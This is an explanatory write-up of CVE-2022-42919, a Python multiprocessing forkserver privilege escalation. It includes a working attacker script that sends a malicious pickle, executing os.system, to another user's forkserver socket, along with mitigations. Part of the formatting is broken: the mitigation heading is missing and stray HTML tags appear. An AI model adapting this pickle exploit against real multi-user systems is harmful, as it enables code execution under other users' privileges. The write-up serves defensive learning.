CVE-2022-42919 is a local privilege escalation vulnerability that affects Python 3.9.x and Python 3.10.x up to version 3.10.8, when running on Linux systems. This vulnerability exploits how the Python multiprocessing library handles *forkserver* mode using Linux abstract namespace sockets. In specific configurations, any local user can abuse this to execute arbitrary code in the context of another user, gaining higher privileges on the same machine.

Let's break down how it works, give you the technical details, show some exploitation examples, and explain how to mitigate it.

Background: Python multiprocessing and Forkserver

Python’s multiprocessing library allows parallel execution of code by creating child processes. It provides various start methods, including:

forkserver

The *forkserver* method, specifically, starts a server process that forks new worker processes on demand. Communication relies on modern Linux features—especially abstract namespace Unix domain sockets.

Normally, the forkserver socket is opened in a way that anyone in the same Linux namespace can connect and send data. If untrusted users are present on the machine, this opens an avenue for unexpected interaction.

What's the bug?

- When *forkserver* start method is used, a forkserver listens for requests over a Unix domain socket in the Linux abstract namespace.

The protocol over this socket *pickles* Python objects to be sent between processes.

- Python pickle is inherently unsafe: it allows deserialization of objects that may run arbitrary code.

If an unprivileged user can connect to an active forkserver, they can send a specially-crafted pickle payload that makes the forkserver run code as its owner—a local privilege escalation.

Note

- Default multiprocessing does not use forkserver. This risk arises when applications or users explicitly configure forkserver mode.

Exploitation Example

Let's simulate the attack with two users on the same Linux system:

victim_server.py (run as user1)

# victim_server.py
import multiprocessing as mp

def worker(x):
    return x * x

if __name__ == "__main__":
    ctx = mp.get_context('forkserver')
    with ctx.Pool(1) as pool:
        result = pool.apply(worker, args=(5,))
        print("Got result:", result)

Step 1: Find the abstract namespace socket

By default, the forkserver's socket name is in the form: '\x00' + prefix + username.

You can use lsof or /proc/net/unix to find the socket.

Step 2: Send malicious pickle

The attacker (user2) connects to this socket and sends

# attacker_exploit.py
import socket
import pickle
import os

# Abstract socket: replace with actual socket name, usually '\x00' + '/tmp/pymp-<username>-<random>'
SOCKET_NAME = b'\x00/tmp/pymp-user1-123456'

class Exploit(object):
    def __reduce__(self):
        return (os.system, ('id > /tmp/out.txt',))

exploit_pickle = pickle.dumps(Exploit())

with socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) as s:
    s.connect(SOCKET_NAME)
    s.sendall(exploit_pickle)

- This payload executes id > /tmp/out.txt as user1.

Exploit result

If the forkserver process is running as a privileged user (or other user), the contents of /tmp/out.txt will show the impersonated user’s identity.

Original References

- Python Security Advisory for CVE-2022-42919
- Python Issue Tracker #98758
- Python Forkserver Documentation
- Linux Abstract Namespace Sockets

multiprocessing.util.abstract_sockets_supported = False

<br>  This disables usage of abstract sockets (forces use of filesystem sockets, which have file permissions).<br><br>- <b>Upgrade</b>: Python maintainers fixed this in newer versions. <b>Update your Python interpreter</b> to latest Python 3.9/3.10 patch releases or beyond.<br><br>- <b>Restrict access</b>: Limit local user access. Do not run forkserver-enabled apps on machines shared by untrusted users.<br><br>- <b>Avoid forkserver</b>: Unless you specifically need it, use the default start methods (fork or spawn`).

---

## Conclusion

*CVE-2022-42919* is a great example of how seemingly small configuration choices can open a serious security hole. When working with Python's multiprocessing, be cautious with non-default options like forkserver, especially in multi-user environments. Always upgrade promptly, apply workarounds, and be mindful of how your runtime interacts with OS-level features.

Stay secure, and happy hacking!

Timeline

Published on: 11/07/2022 00:15:00 UTC
Last modified on: 11/23/2022 03:15:00 UTC